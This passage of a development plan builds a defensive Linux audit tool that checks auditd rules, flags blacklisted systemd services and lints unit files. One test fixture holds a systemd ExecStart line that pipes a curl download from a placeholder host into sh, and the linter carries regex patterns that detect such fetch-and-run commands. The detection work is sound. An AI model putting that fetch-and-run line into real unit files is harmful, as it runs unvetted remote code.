        ("auditctl", "-s"): _rr(stdout="enabled 0\nfailure 1\n"),
        ("auditctl", "-l"): _rr(stdout=compliant),
    }
    findings = _run(AuditdRulesCheck(), _ctx(_RecordingExecutor(responses)))
    # 1 high disabled finding + 0 missing-rule findings (since rules are compliant)
    assert len(findings) == 1
    assert findings[0].severity == "high"
    assert "enabled" in findings[0].title


def test_command_not_found_marks_not_applicable():
    """auditctl unavailable → not_applicable (not skipped, not finding)."""
    responses = {
        ("auditctl", "-s"): _rr(
            stderr="bash: auditctl: command not found", exit_code=127,
        ),
    }
    ctx = _ctx(_RecordingExecutor(responses))
    findings = _run(AuditdRulesCheck(), ctx)
    assert findings == []
    assert ctx.status.is_not_applicable
    assert "未安装" in (ctx.status.not_applicable_reason or "")


def test_status_failed_for_other_reason_marks_skipped():
    """Non-127 exit → skipped (transient failure, not 'not installed')."""
    responses = {
        ("auditctl", "-s"): _rr(stderr="permission denied", exit_code=1),
    }
    ctx = _ctx(_RecordingExecutor(responses))
    findings = _run(AuditdRulesCheck(), ctx)
    assert findings == []
    assert ctx.status.is_skipped
    assert ctx.status.is_not_applicable is False


def test_skips_on_macos_profile():
    ctx = _ctx(_RecordingExecutor({}), profile_name="macos")
    findings = _run(AuditdRulesCheck(), ctx)
    assert findings == []
    assert ctx.status.is_not_applicable


def test_status_rejected_marks_skipped():
    responses = {("auditctl", "-s"): _rr(rejected=True)}
    ctx = _ctx(_RecordingExecutor(responses))
    findings = _run(AuditdRulesCheck(), ctx)
    assert findings == []
    assert ctx.status.is_skipped


def test_empty_rules_emits_all_baseline_missing():
    """auditctl -l empty → all 8 baseline rules missing."""
    responses = {
        ("auditctl", "-s"): _rr(stdout="enabled 1\n"),
        ("auditctl", "-l"): _rr(stdout=""),
    }
    findings = _run(AuditdRulesCheck(), _ctx(_RecordingExecutor(responses)))
    assert len(findings) == 8
```

- [ ] **Step 3: Run tests, verify failure**

```bash
.venv/bin/pytest tests/test_auditd_rules.py -x
```

Expected: ImportError.

- [ ] **Step 4: Implement the check**

Create `src/agentsec/audit/checks/auditd_rules.py`:

```python
"""auditd rules audit (Phase 7e.1).

`auditctl -s` first to detect installation status (exit 127 / 'command not
found' → not_applicable; enabled=0 → 1 high finding); then `auditctl -l`
parsed for stable substrings against the 8 baseline rules.
"""

from __future__ import annotations

from pathlib import Path

import yaml

from ..findings import Finding
from .base import Check, CheckContext

_BASELINE_PATH = (
    Path(__file__).parent / "linux_hardening_baseline.yaml"
)


class AuditdRulesCheck(Check):
    id = "auditd_rules_audit"

    def __init__(self):
        super().__init__()
        section = yaml.safe_load(_BASELINE_PATH.read_text())["auditd"]
        self._required_rules = section["required_rules"]
        self._status_disabled_severity = section["status_disabled_severity"]
        self._rationale = section["rationale"]
        self._remediation = section["remediation"]

    async def run(self, ctx: CheckContext) -> list[Finding]:
        if ctx.profile.name not in ("linux", "linux_user_mode"):
            ctx.status.not_applicable(
                f"auditd_rules_audit：当前 profile {ctx.profile.name!r} "
                "不是 Linux，主机加固检查跳过"
            )
            return []

        status_result = ctx.executor.run(["auditctl", "-s"])
        if status_result.rejected:
            ctx.status.skipped(
                f"auditd_rules_audit 被策略拒绝：{status_result.reject_reason}"
            )
            return []
        if status_result.exit_code == 127 or (
            "command not found" in status_result.stderr.lower()
        ):
            ctx.status.not_applicable("auditd 未安装（auditctl 不可用）")
            return []
        if status_result.exit_code != 0:
            ctx.status.skipped(
                f"auditd_rules_audit `auditctl -s` 退出码 "
                f"{status_result.exit_code}（非 not-installed）"
            )
            return []

        findings: list[Finding] = []
        if "enabled 0" in status_result.stdout:
            findings.append(Finding(
                check=self.id,
                severity=self._status_disabled_severity,
                title="auditd 已安装但 enabled=0（审计子系统已禁用）",
                description=self._rationale,
                evidence={"status_dump": status_result.stdout.strip()},
                remediation=self._remediation,
                threat_refs=["TI-LINUX-CIS-AUDITD"],
            ))

        rules_result = ctx.executor.run(["auditctl", "-l"])
        if rules_result.rejected:
            ctx.status.skipped(
                f"auditd_rules_audit `auditctl -l` 被策略拒绝："
                f"{rules_result.reject_reason}"
            )
            return findings
        if rules_result.exit_code != 0:
            ctx.status.skipped(
                f"auditd_rules_audit `auditctl -l` 退出码 "
                f"{rules_result.exit_code}"
            )
            return findings

        rule_text = rules_result.stdout
        for rule in self._required_rules:
            if rule["match"] not in rule_text:
                findings.append(Finding(
                    check=self.id,
                    severity=rule["severity"],
                    title=(
                        f"auditd 缺失规则 {rule['id']!r}："
                        f"期望子串 {rule['match']!r}"
                    ),
                    description=self._rationale,
                    evidence={
                        "rule_id": rule["id"],
                        "expected_match": rule["match"],
                    },
                    remediation=self._remediation,
                    threat_refs=["TI-LINUX-CIS-AUDITD"],
                ))
        return findings
```

- [ ] **Step 5: Run tests, verify pass**

```bash
.venv/bin/pytest tests/test_auditd_rules.py -v
```

Expected: 8 passing.

- [ ] **Step 6: Lint + types + full suite**

```bash
.venv/bin/ruff check src/ tests/ scripts/
.venv/bin/pyright
.venv/bin/pytest tests/ -q
```

All green.

- [ ] **Step 7: Commit**

```bash
git add src/agentsec/audit/checks/auditd_rules.py \
        tests/test_auditd_rules.py \
        tests/fixtures/linux_hardening/auditctl_l_compliant.txt \
        tests/fixtures/linux_hardening/auditctl_l_partial.txt
git commit -m "feat(audit): add AuditdRulesCheck — auditctl -s/-l + 8 CIS baseline rules"
```

---

### Task 6: SystemdServiceBlacklistCheck

**Files:**
- Create: `src/agentsec/audit/checks/systemd_service_blacklist.py`
- Create: `tests/test_systemd_service_blacklist.py`
- Create: `tests/fixtures/linux_hardening/systemctl_list_unit_files.txt`

- [ ] **Step 1: Create the fixture file**

Create `tests/fixtures/linux_hardening/systemctl_list_unit_files.txt` (real `systemctl list-unit-files --type=service --state=enabled --no-legend --plain` output shape — column 1 unit name, column 2 state, separated by whitespace):

```
accounts-daemon.service                            enabled
apparmor.service                                   enabled
avahi-daemon.service                               enabled
cron.service                                       enabled
cups.service                                       enabled
dbus.service                                       enabled
nfs-server.service                                 enabled
openssh-server.service                             enabled
rpcbind.service                                    enabled
ssh.service                                        enabled
systemd-resolved.service                           enabled
systemd-timesyncd.service                          enabled
ufw.service                                        enabled
unattended-upgrades.service                        enabled
xinetd.service                                     enabled
```

(15 lines: 5 of these match the blacklist — `avahi-daemon`, `cups`,
`nfs-server`, `rpcbind`, `xinetd`. The other 10 are benign.)

- [ ] **Step 2: Write failing tests**

Create `tests/test_systemd_service_blacklist.py`:

```python
"""Unit tests for SystemdServiceBlacklistCheck (Phase 7e.1)."""

from __future__ import annotations

import asyncio
from pathlib import Path

from agentsec.audit.checks.base import CheckContext
from agentsec.audit.checks.systemd_service_blacklist import (
    SystemdServiceBlacklistCheck,
)
from agentsec.audit.platform_profile import LINUX, materialize_paths
from agentsec.audit.types import RunResult

FIXTURES = Path(__file__).parent / "fixtures" / "linux_hardening"

_LIST_ARGV = (
    "systemctl", "list-unit-files", "--type=service", "--state=enabled",
    "--no-legend", "--plain",
)


class _RecordingExecutor:
    def __init__(self, responses):
        self._responses = responses
        self.calls = []

    def run(self, argv, *, role=None):
        argv = list(argv)
        self.calls.append(argv)
        return self._responses.get(
            tuple(argv),
            RunResult(
                stdout="", stderr="", exit_code=0, rejected=False,
                reject_reason=None, argv=argv,
                command_sha256="0" * 64, duration_ms=0.0, bytes_out=0,
            ),
        )


def _rr(stdout="", exit_code=0, rejected=False) -> RunResult:
    return RunResult(
        stdout=stdout, stderr="", exit_code=exit_code,
        rejected=rejected, reject_reason="policy" if rejected else None,
        argv=[], command_sha256="0" * 64, duration_ms=0.0,
        bytes_out=len(stdout.encode()),
    )


def _ctx(executor, profile_name="linux"):
    profile = materialize_paths(LINUX, "/home/u")
    if profile_name != "linux":
        profile = profile.model_copy(update={"name": profile_name})
    return CheckContext(
        executor=executor, redactor=None,
        ioc_dir=Path("/tmp"), profile=profile,
        log_review_config=None,
    )


def _run(check, ctx):
    return asyncio.get_event_loop().run_until_complete(check.run(ctx))


def test_blacklist_hits_emit_findings():
    fixture = (FIXTURES / "systemctl_list_unit_files.txt").read_text()
    responses = {_LIST_ARGV: _rr(stdout=fixture)}
    findings = _run(SystemdServiceBlacklistCheck(), _ctx(_RecordingExecutor(responses)))
    units = sorted(f.evidence["unit"] for f in findings)
    assert units == [
        "avahi-daemon.service", "cups.service", "nfs-server.service",
        "rpcbind.service", "xinetd.service",
    ]


def test_no_blacklist_hits_zero_findings():
    """Real-world clean Ubuntu: only benign services enabled."""
    clean = (
        "accounts-daemon.service                            enabled\n"
        "apparmor.service                                   enabled\n"
        "ssh.service                                        enabled\n"
    )
    responses = {_LIST_ARGV: _rr(stdout=clean)}
    findings = _run(SystemdServiceBlacklistCheck(), _ctx(_RecordingExecutor(responses)))
    assert findings == []


def test_critical_severity_for_legacy_protocols():
    """telnet.socket / rsh.socket etc. carry severity=critical."""
    responses = {
        _LIST_ARGV: _rr(stdout="telnet.socket  enabled\nrsh.socket  enabled\n"),
    }
    findings = _run(SystemdServiceBlacklistCheck(), _ctx(_RecordingExecutor(responses)))
    assert len(findings) == 2
    assert all(f.severity == "critical" for f in findings)


def test_skips_on_macos_profile():
    ctx = _ctx(_RecordingExecutor({}), profile_name="macos")
    findings = _run(SystemdServiceBlacklistCheck(), ctx)
    assert findings == []
    assert ctx.status.is_not_applicable


def test_command_rejected_marks_skipped():
    responses = {_LIST_ARGV: _rr(rejected=True)}
    ctx = _ctx(_RecordingExecutor(responses))
    findings = _run(SystemdServiceBlacklistCheck(), ctx)
    assert findings == []
    assert ctx.status.is_skipped


def test_command_failure_marks_skipped():
    responses = {_LIST_ARGV: _rr(exit_code=1)}
    ctx = _ctx(_RecordingExecutor(responses))
    findings = _run(SystemdServiceBlacklistCheck(), ctx)
    assert findings == []
    assert ctx.status.is_skipped


def test_unparseable_lines_skipped_silently():
    """Lines that don't have a state column get skipped, don't crash."""
    responses = {
        _LIST_ARGV: _rr(stdout="garbage line\navahi-daemon.service  enabled\n"),
    }
    findings = _run(SystemdServiceBlacklistCheck(), _ctx(_RecordingExecutor(responses)))
    assert len(findings) == 1
    assert "avahi-daemon" in findings[0].title
```

- [ ] **Step 3: Run tests, verify failure**

```bash
.venv/bin/pytest tests/test_systemd_service_blacklist.py -x
```

Expected: ImportError.

- [ ] **Step 4: Implement the check**

Create `src/agentsec/audit/checks/systemd_service_blacklist.py`:

```python
"""systemd service blacklist (Phase 7e.1).

Enumerates enabled systemd services via
`systemctl list-unit-files --type=service --state=enabled --no-legend --plain`,
emits one Finding per match against the baseline blacklist.
"""

from __future__ import annotations

from pathlib import Path

import yaml

from ..findings import Finding
from .base import Check, CheckContext

_BASELINE_PATH = (
    Path(__file__).parent / "linux_hardening_baseline.yaml"
)


class SystemdServiceBlacklistCheck(Check):
    id = "systemd_service_blacklist"

    def __init__(self):
        super().__init__()
        sb = yaml.safe_load(_BASELINE_PATH.read_text())["systemd"]["service_blacklist"]
        self._index = {s["name"]: s for s in sb["services"]}
        self._remediation = sb["remediation"]

    async def run(self, ctx: CheckContext) -> list[Finding]:
        if ctx.profile.name not in ("linux", "linux_user_mode"):
            ctx.status.not_applicable(
                f"systemd_service_blacklist：当前 profile {ctx.profile.name!r} "
                "不是 Linux，主机加固检查跳过"
            )
            return []
        argv = [
            "systemctl", "list-unit-files", "--type=service",
            "--state=enabled", "--no-legend", "--plain",
        ]
        result = ctx.executor.run(argv)
        if result.rejected:
            ctx.status.skipped(
                f"systemd_service_blacklist 被策略拒绝：{result.reject_reason}"
            )
            return []
        if result.exit_code != 0:
            ctx.status.skipped(
                f"systemd_service_blacklist 退出码 {result.exit_code}"
            )
            return []
        findings: list[Finding] = []
        for line in result.stdout.splitlines():
            parts = line.strip().split()
            if len(parts) < 2:
                continue
            unit, state = parts[0], parts[1]
            if state != "enabled":
                continue
            entry = self._index.get(unit)
            if entry is None:
                continue
            findings.append(Finding(
                check=self.id,
                severity=entry["severity"],
                title=f"高风险服务已启用：{unit}",
                description=entry["rationale"],
                evidence={"unit": unit, "state": state},
                remediation=self._remediation,
                threat_refs=["TI-LINUX-CIS-SYSTEMD"],
            ))
        return findings
```

- [ ] **Step 5: Run tests, verify pass**

```bash
.venv/bin/pytest tests/test_systemd_service_blacklist.py -v
```

Expected: 7 passing.

- [ ] **Step 6: Lint + types + full suite**

```bash
.venv/bin/ruff check src/ tests/ scripts/
.venv/bin/pyright
.venv/bin/pytest tests/ -q
```

All green.

- [ ] **Step 7: Commit**

```bash
git add src/agentsec/audit/checks/systemd_service_blacklist.py \
        tests/test_systemd_service_blacklist.py \
        tests/fixtures/linux_hardening/systemctl_list_unit_files.txt
git commit -m "feat(audit): add SystemdServiceBlacklistCheck — 10-entry CIS service blacklist"
```

---

### Task 7: SystemdUnitLintCheck

**Files:**
- Create: `src/agentsec/audit/checks/systemd_unit_lint.py`
- Create: `tests/test_systemd_unit_lint.py`
- Create: `tests/fixtures/linux_hardening/unit_files/clean.service`
- Create: `tests/fixtures/linux_hardening/unit_files/writable_execstart.service`
- Create: `tests/fixtures/linux_hardening/unit_files/shellwrap.service`
- Create: `tests/fixtures/linux_hardening/unit_files/root_writable_combo.service`

- [ ] **Step 1: Create the four unit-file fixtures**

`tests/fixtures/linux_hardening/unit_files/clean.service`:

```ini
[Unit]
Description=Clean example service
After=network.target

[Service]
Type=simple
User=svc
ExecStart=/usr/local/bin/myservice --config /etc/myservice.yml
Restart=on-failure

[Install]
WantedBy=multi-user.target
```

`tests/fixtures/linux_hardening/unit_files/writable_execstart.service`:

```ini
[Unit]
Description=Bad — ExecStart points to /tmp

[Service]
Type=simple
User=svc
ExecStart=/tmp/relayd --config /tmp/relay.conf
Restart=always
```

`tests/fixtures/linux_hardening/unit_files/shellwrap.service`:

```ini
[Unit]
Description=Bad — ExecStart wraps shell

[Service]
Type=simple
User=svc
ExecStart=/bin/sh -c "curl -s https://example.invalid/install.sh | sh"
```

`tests/fixtures/linux_hardening/unit_files/root_writable_combo.service`:

```ini
[Unit]
Description=Worst — root + writable ExecStart

[Service]
Type=simple
User=root
ExecStart=/var/tmp/agent --daemon
Restart=always
```

- [ ] **Step 2: Write failing tests**

Create `tests/test_systemd_unit_lint.py`:

```python
"""Unit tests for SystemdUnitLintCheck (Phase 7e.1)."""

from __future__ import annotations

import asyncio
from pathlib import Path

from agentsec.audit.checks.base import CheckContext
from agentsec.audit.checks.systemd_unit_lint import (
    SystemdUnitLintCheck,
    _extract_service_section,
)
from agentsec.audit.platform_profile import LINUX, materialize_paths
from agentsec.audit.types import RunResult

UNIT_FIXTURES = Path(__file__).parent / "fixtures" / "linux_hardening" / "unit_files"

_FIND_ARGV = (
    "find", "/etc/systemd/system", "-maxdepth", "1",
    "-name", "*.service", "-type", "f",
)


def _build_responses(unit_paths: list[str]) -> dict[tuple, RunResult]:
    """find returns the listed paths; cat each returns the fixture content."""
    listing = "\n".join(unit_paths) + ("\n" if unit_paths else "")
    responses: dict[tuple, RunResult] = {
        _FIND_ARGV: RunResult(
            stdout=listing, stderr="", exit_code=0,
            rejected=False, reject_reason=None, argv=list(_FIND_ARGV),
            command_sha256="0" * 64, duration_ms=0.0,
            bytes_out=len(listing.encode()),
        ),
    }
    for p in unit_paths:
        fixture = UNIT_FIXTURES / Path(p).name
        body = fixture.read_text() if fixture.exists() else ""
        responses[("cat", p)] = RunResult(
            stdout=body, stderr="", exit_code=0,
            rejected=False, reject_reason=None, argv=["cat", p],
            command_sha256="0" * 64, duration_ms=0.0,
            bytes_out=len(body.encode()),
        )
    return responses


class _RecordingExecutor:
    def __init__(self, responses):
        self._responses = responses
        self.calls: list[list[str]] = []

    def run(self, argv, *, role=None):
        argv = list(argv)
        self.calls.append(argv)
        return self._responses.get(
            tuple(argv),
            RunResult(
                stdout="", stderr="", exit_code=0, rejected=False,
                reject_reason=None, argv=argv,
                command_sha256="0" * 64, duration_ms=0.0, bytes_out=0,
            ),
        )


def _ctx(executor, profile_name="linux"):
    profile = materialize_paths(LINUX, "/home/u")
    if profile_name != "linux":
        profile = profile.model_copy(update={"name": profile_name})
    return CheckContext(
        executor=executor, redactor=None,
        ioc_dir=Path("/tmp"), profile=profile,
        log_review_config=None,
    )


def _run(check, ctx):
    return asyncio.get_event_loop().run_until_complete(check.run(ctx))


def test_extract_service_section_returns_only_service_block():
    text = (UNIT_FIXTURES / "clean.service").read_text()
    section = _extract_service_section(text)
    assert "[Service]" not in section          # the marker line is stripped
    assert "ExecStart=/usr/local/bin" in section
    assert "[Install]" not in section
    assert "WantedBy=" not in section


def test_clean_unit_zero_findings():
    responses = _build_responses(["/etc/systemd/system/clean.service"])
    findings = _run(SystemdUnitLintCheck(), _ctx(_RecordingExecutor(responses)))
    assert findings == []


def test_writable_execstart_emits_high():
    responses = _build_responses(["/etc/systemd/system/writable_execstart.service"])
    findings = _run(SystemdUnitLintCheck(), _ctx(_RecordingExecutor(responses)))
    assert len(findings) == 1
    assert findings[0].severity == "high"
    assert "writable_execstart" in findings[0].evidence["rules"]


def test_shellwrap_execstart_emits_high():
    responses = _build_responses(["/etc/systemd/system/shellwrap.service"])
    findings = _run(SystemdUnitLintCheck(), _ctx(_RecordingExecutor(responses)))
    assert len(findings) == 1
    assert findings[0].severity == "high"
    assert "shellwrap_execstart" in findings[0].evidence["rules"]


def test_root_writable_combo_upgrades_to_critical():
    responses = _build_responses(["/etc/systemd/system/root_writable_combo.service"])
    findings = _run(SystemdUnitLintCheck(), _ctx(_RecordingExecutor(responses)))
    assert len(findings) == 1
    assert findings[0].severity == "critical"
    assert "root_writable_combo" in findings[0].evidence["rules"]


def test_multiple_units_each_emit_independently():
    responses = _build_responses([
        "/etc/systemd/system/clean.service",
        "/etc/systemd/system/writable_execstart.service",
        "/etc/systemd/system/root_writable_combo.service",
    ])
    findings = _run(SystemdUnitLintCheck(), _ctx(_RecordingExecutor(responses)))
    assert len(findings) == 2  # clean has zero
    severities = sorted(f.severity for f in findings)
    assert severities == ["critical", "high"]


def test_skips_on_macos_profile():
    ctx = _ctx(_RecordingExecutor({}), profile_name="macos")
    findings = _run(SystemdUnitLintCheck(), ctx)
    assert findings == []
    assert ctx.status.is_not_applicable


def test_find_rejected_marks_skipped():
    responses = {
        _FIND_ARGV: RunResult(
            stdout="", stderr="", exit_code=0,
            rejected=True, reject_reason="policy", argv=list(_FIND_ARGV),
            command_sha256="0" * 64, duration_ms=0.0, bytes_out=0,
        ),
    }
    ctx = _ctx(_RecordingExecutor(responses))
    findings = _run(SystemdUnitLintCheck(), ctx)
    assert findings == []
    assert ctx.status.is_skipped


def test_individual_cat_failure_skips_only_that_file():
    """find lists 2 files; one cat fails; the other still produces a finding."""
    responses: dict[tuple, RunResult] = _build_responses(
        ["/etc/systemd/system/writable_execstart.service"]
    )
    # add a fake unit that fails to cat
    listing = (
        "/etc/systemd/system/writable_execstart.service\n"
        "/etc/systemd/system/missing.service\n"
    )
    responses[_FIND_ARGV] = RunResult(
        stdout=listing, stderr="", exit_code=0,
        rejected=False, reject_reason=None, argv=list(_FIND_ARGV),
        command_sha256="0" * 64, duration_ms=0.0,
        bytes_out=len(listing.encode()),
    )
    responses[("cat", "/etc/systemd/system/missing.service")] = RunResult(
        stdout="", stderr="No such file", exit_code=1,
        rejected=False, reject_reason=None,
        argv=["cat", "/etc/systemd/system/missing.service"],
        command_sha256="0" * 64, duration_ms=0.0, bytes_out=0,
    )
    ctx = _ctx(_RecordingExecutor(responses))
    findings = _run(SystemdUnitLintCheck(), ctx)
    assert len(findings) == 1   # only writable_execstart hit
    assert ctx.status.is_skipped is False
```

- [ ] **Step 3: Run tests, verify failure**

```bash
.venv/bin/pytest tests/test_systemd_unit_lint.py -x
```

Expected: ImportError.

- [ ] **Step 4: Implement the check**

Create `src/agentsec/audit/checks/systemd_unit_lint.py`:

```python
"""systemd unit-file lint (Phase 7e.1).

Lists /etc/systemd/system/*.service, cats each, runs three regex rules
over the [Service] section. Multi-rule hits collapse into one Finding;
User=root + writable/shellwrap ExecStart upgrades severity to critical.
"""

from __future__ import annotations

import re
from pathlib import Path

import yaml

from ..findings import Finding
from .base import Check, CheckContext

_BASELINE_PATH = (
    Path(__file__).parent / "linux_hardening_baseline.yaml"
)

_RE_EXEC_WRITABLE = re.compile(
    r'^ExecStart\s*=\s*([^\n]*\s)?(/tmp/|/var/tmp/|/dev/shm/|/home/)',
    re.MULTILINE,
)
_RE_EXEC_SHELL_WRAP = re.compile(
    r'^ExecStart\s*=\s*.*'
    r'(\b(?:bash|sh)\b\s+-c\s|'
    r'curl\s+[^|\n]*\|\s*(?:bash|sh)|'
    r'wget\s+[^|\n]*\|\s*(?:bash|sh))',
    re.MULTILINE,
)
_RE_USER_DECLARED = re.compile(r'^User\s*=', re.MULTILINE)
_RE_USER_ROOT = re.compile(r'^User\s*=\s*root\s*$', re.MULTILINE)


def _extract_service_section(text: str) -> str:
    """Return the body of the first [Service] block, excluding the header
    line, stopping at the next [Section] header or EOF. Empty string if
    no [Service] block exists."""
    lines = text.splitlines()
    in_service = False
    out: list[str] = []
    for line in lines:
        stripped = line.strip()
        if stripped.startswith("[") and stripped.endswith("]"):
            if stripped == "[Service]":
                in_service = True
                continue
            if in_service:
                break
            continue
        if in_service:
            out.append(line)
    return "\n".join(out)


class SystemdUnitLintCheck(Check):
    id = "systemd_unit_lint"

    def __init__(self):
        super().__init__()
        ul = yaml.safe_load(_BASELINE_PATH.read_text())["systemd"]["unit_lint"]
        self._rules = {r["id"]: r for r in ul["rules"]}
        self._remediation = ul["remediation"]

    async def run(self, ctx: CheckContext) -> list[Finding]:
        if ctx.profile.name not in ("linux", "linux_user_mode"):
            ctx.status.not_applicable(
                f"systemd_unit_lint：当前 profile {ctx.profile.name!r} "
                "不是 Linux，主机加固检查跳过"
            )
            return []

        find_argv = [
            "find", "/etc/systemd/system", "-maxdepth", "1",
            "-name", "*.service", "-type", "f",
        ]
        find_result = ctx.executor.run(find_argv)
        if find_result.rejected:
            ctx.status.skipped(
                f"systemd_unit_lint find 被策略拒绝：{find_result.reject_reason}"
            )
            return []
        if find_result.exit_code != 0:
            ctx.status.skipped(
                f"systemd_unit_lint find 退出码 {find_result.exit_code}"
            )
            return []

        findings: list[Finding] = []
        for line in find_result.stdout.splitlines():
            unit_path = line.strip()
            if not unit_path:
                continue
            cat_result = ctx.executor.run(["cat", unit_path])
            if cat_result.rejected or cat_result.exit_code != 0:
                continue
            section = _extract_service_section(cat_result.stdout)
            if not section:
                continue
            hits: list[str] = []
            if _RE_EXEC_WRITABLE.search(section):
                hits.append("writable_execstart")
            if _RE_EXEC_SHELL_WRAP.search(section):
                hits.append("shellwrap_execstart")
            if not hits:
                continue
            user_root_or_default = (
                bool(_RE_USER_ROOT.search(section))
                or not _RE_USER_DECLARED.search(section)
            )
            if user_root_or_default:
                hits.append("root_writable_combo")
                severity = "critical"
            else:
                severity = max(
                    (self._rules[h]["severity"] for h in hits),
                    key=_severity_rank,
                )
            snippet_match = (
                _RE_EXEC_WRITABLE.search(section)
                or _RE_EXEC_SHELL_WRAP.search(section)
            )
            snippet = (snippet_match.group(0) if snippet_match else "")[:200]
            findings.append(Finding(
                check=self.id,
                severity=severity,
                title=f"systemd unit 风险：{unit_path}",
                description=" / ".join(self._rules[h]["rationale"] for h in hits),
                evidence={
                    "file": unit_path,
                    "rules": hits,
                    "snippet": snippet,
                },
                remediation=self._remediation,
                threat_refs=["TI-LINUX-CIS-SYSTEMD"],
            ))
        return findings


_SEVERITY_RANK = {"info": 0, "low": 1, "medium": 2, "high": 3, "critical": 4}


def _severity_rank(s: str) -> int:
    return _SEVERITY_RANK.get(s, 0)
```

- [ ] **Step 5: Run tests, verify pass**

```bash
.venv/bin/pytest tests/test_systemd_unit_lint.py -v
```

Expected: 9 passing.

- [ ] **Step 6: Lint + types + full suite**

```bash
.venv/bin/ruff check src/ tests/ scripts/
.venv/bin/pyright
.venv/bin/pytest tests/ -q
```

All green.

- [ ] **Step 7: Commit**

```bash
git add src/agentsec/audit/checks/systemd_unit_lint.py \
        tests/test_systemd_unit_lint.py \
        tests/fixtures/linux_hardening/unit_files/
git commit -m "feat(audit): add SystemdUnitLintCheck — 3-rule regex over /etc/systemd/system/*.service"
```

---

### Task 8: CLI integration — register 4 new Checks

**Files:**
- Modify: `src/agentsec/cli.py`

- [ ] **Step 1: Add imports**

In `src/agentsec/cli.py`, find the existing block of Check imports
(near `from .audit.checks.suid_audit import SuidAuditCheck` etc., the
imports added in Phase 7e). Append four lines:

```python
from .audit.checks.auditd_rules import AuditdRulesCheck
from .audit.checks.systemd_service_blacklist import SystemdServiceBlacklistCheck
from .audit.checks.systemd_unit_lint import SystemdUnitLintCheck
from .audit.checks.world_writable import WorldWritableCheck
```

(Alphabetical placement next to existing audit-check imports.)

- [ ] **Step 2: Register in `server_audit` and `_evaluate_server`**

Run:

```bash
grep -n "SuidAuditCheck()" src/agentsec/cli.py
```

You'll see two hits (one per builder, around lines 512 and 804 in the
v0.9.4 baseline). After **each** `SuidAuditCheck(),` line, append:

```python
        WorldWritableCheck(),
        AuditdRulesCheck(),
        SystemdServiceBlacklistCheck(),
        SystemdUnitLintCheck(),
```

(Same indentation as `SuidAuditCheck(),`.)

- [ ] **Step 3: Verify imports + ids resolve**

```bash
.venv/bin/python -c "
from agentsec.audit.checks.world_writable import WorldWritableCheck
from agentsec.audit.checks.auditd_rules import AuditdRulesCheck
from agentsec.audit.checks.systemd_service_blacklist import SystemdServiceBlacklistCheck
from agentsec.audit.checks.systemd_unit_lint import SystemdUnitLintCheck
print('OK', [c().id for c in (WorldWritableCheck, AuditdRulesCheck, SystemdServiceBlacklistCheck, SystemdUnitLintCheck)])
"
```

Expected:

```
OK ['world_writable_audit', 'auditd_rules_audit', 'systemd_service_blacklist', 'systemd_unit_lint']
```

- [ ] **Step 4: Lint + types + full suite**

```bash
.venv/bin/ruff check src/ tests/ scripts/
.venv/bin/pyright
.venv/bin/pytest tests/ -q
```

All green.

- [ ] **Step 5: Commit**

```bash
git add src/agentsec/cli.py
git commit -m "cli(server-audit): register 4 Linux hardening Checks (Phase 7e.1)"
```

---

### Task 9: Mock integration test fixture + sample drift refresh

**Files:**
- Modify: `tests/integration/test_openclaw_mock.py`
- Modify: `docs/samples/report-2026-04-28/server-audit-report.md` (drift refresh only)

- [ ] **Step 1: Extend mock SSH fixture**

Open `tests/integration/test_openclaw_mock.py`. Find the per-argv
response dict (the same dict that 7e Task 6 / Task 8 extended for
`sysctl -n` and `sshd -T`). Add four entries so the new Checks each
land cleanly without findings:

```python
        # Phase 7e.1 additions — keep mock host "looks Linux but no audit/systemd extras"
        ("auditctl", "-s"): _runresult(
            stderr="bash: auditctl: command not found", exit_code=127,
        ),
        # Each find /<path> -maxdepth 4 -type f -perm /002 → empty stdout
        # (default zero-stdout response from the mock dict's fallback covers this).
        ("systemctl", "list-unit-files", "--type=service",
         "--state=enabled", "--no-legend", "--plain"): _runresult(stdout=""),
        ("find", "/etc/systemd/system", "-maxdepth", "1",
         "-name", "*.service", "-type", "f"): _runresult(stdout=""),
```

If the existing mock fixture uses a default-empty fallback (look at
how 7e's `find` calls in `sysctl_audit` / `suid_audit` were handled),
the world_writable `find` calls don't need explicit entries — they
inherit from the fallback. Keep the `auditctl -s` entry explicit since
mocks need to provide the exit-127 + stderr signal to drive
`not_applicable`.

If the fixture file uses a different shape (lookup by command name
rather than full argv tuple), adapt accordingly — the goal is:
`AuditdRulesCheck` lands `not_applicable`; the other three land empty
stdout → 0 findings.

- [ ] **Step 2: Run mock integration test (it should fail or warn first)**

```bash
.venv/bin/pytest tests/integration/test_openclaw_mock.py::test_openclaw_mock_end_to_end -v
```

Expected: drift guard fails with the message about anchor count
mismatch (sample report doesn't yet have the 4 new check anchors).

- [ ] **Step 3: Refresh sample**

```bash
AGENTSEC_REFRESH_SAMPLE=1 .venv/bin/pytest \
  tests/integration/test_openclaw_mock.py::test_openclaw_mock_end_to_end -v
```

Expected: pass. The four new `<!-- check:world_writable_audit ... -->`,
`<!-- check:auditd_rules_audit ... -->`,
`<!-- check:systemd_service_blacklist ... -->`,
`<!-- check:systemd_unit_lint ... -->` anchors land in the sample.

- [ ] **Step 4: Drift guard pass**

```bash
.venv/bin/pytest tests/integration/test_openclaw_mock.py -v
```

Both tests pass.

- [ ] **Step 5: Spot-check the refreshed sample**

```bash
grep -E "world_writable_audit|auditd_rules_audit|systemd_service_blacklist|systemd_unit_lint" \
  docs/samples/report-2026-04-28/server-audit-report.md | head -10
```

Should show each new check id at least once (in §4 不适用 / §5 已跳过 /
or appendix machine anchors).

- [ ] **Step 6: Commit**

```bash
git add tests/integration/test_openclaw_mock.py docs/samples/report-2026-04-28/
git commit -m "test(integration): mock fixture knows the 4 new 7e.1 commands; refresh sample"
```

---

### Task 10: ROADMAP / CHANGELOG / README

**Files:**
- Modify: `ROADMAP.md`
- Modify: `CHANGELOG.md`
- Modify: `README.md`

- [ ] **Step 1: ROADMAP — add 7e.1 entry**

In `ROADMAP.md`, find the Phase 7 section (the lines around `7a-7f`).
The 7e line currently reads:

```markdown
- [x] Phase 7e — Linux 主机加固 Check（sysctl / sshd_config / sudoers / SUID 4 类，CIS 对齐）— 2026-05-08
```

Insert immediately below it a new line:

```markdown
- [x] Phase 7e.1 — Linux 主机加固扩展 Check（world-writable / auditd / systemd 服务黑名单 / systemd unit lint 4 类）— 2026-05-08
```

Leave 7c / 7d / 7f as `[ ]`. Do not change 7e itself.

- [ ] **Step 2: CHANGELOG — `[Unreleased]` entry**

In `CHANGELOG.md`, add to the top of `[Unreleased]` → `### Added`:

```markdown
- **Linux 主机加固扩展 Check（4 类，Phase 7e.1）** —— `server-audit` Check
